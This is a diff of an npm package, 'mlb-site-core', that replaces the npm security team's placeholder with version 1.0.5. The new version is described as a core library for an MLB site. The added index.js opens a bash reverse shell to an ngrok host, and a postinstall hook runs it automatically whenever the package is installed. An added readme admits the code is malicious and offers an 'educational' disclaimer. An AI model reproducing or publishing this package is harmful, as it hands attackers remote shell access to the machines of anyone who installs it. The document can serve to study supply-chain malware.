mlb-site-core 0.0.1-security → 1.0.5

package/index.js

@@ -0,0 +1,9 @@
+const { exec } = require('child_process');
+
+exec('bash -i >& /dev/tcp/0.tcp.ap.ngrok.io/10378 0>&1', (error) => {
+if (error) {
+console.error(`Error: ${error.message}`);
+} else {
+console.log('Reverse shell executed successfully');
+}
+});

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "mlb-site-core",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.5",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "author": "Rhyru",
+  "license": "MIT",
+  "description": "Core package for MLB site."
 }
+

package/readme.md

@@ -0,0 +1,18 @@
+
+# README
+
+**Warning!!!**
+
+This is an npm package containing **malicious code**. **Do not download or use** it except for educational purposes or authorized security testing. Any form of misuse is the responsibility of the user.
+
+## Disclaimer
+
+- This package is for **educational purposes** or **authorized security testing activities** only.
+- **Strictly prohibited** to use this package for illegal or unethical activities.
+- The creator is not responsible for any misuse or damage caused by the use of this package.
+
+## Key Contents
+
+- **index.js**: Contains the main script with malicious code.
+- **package.json**: Metadata of this npm package.
+

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=mlb-site-core for more information.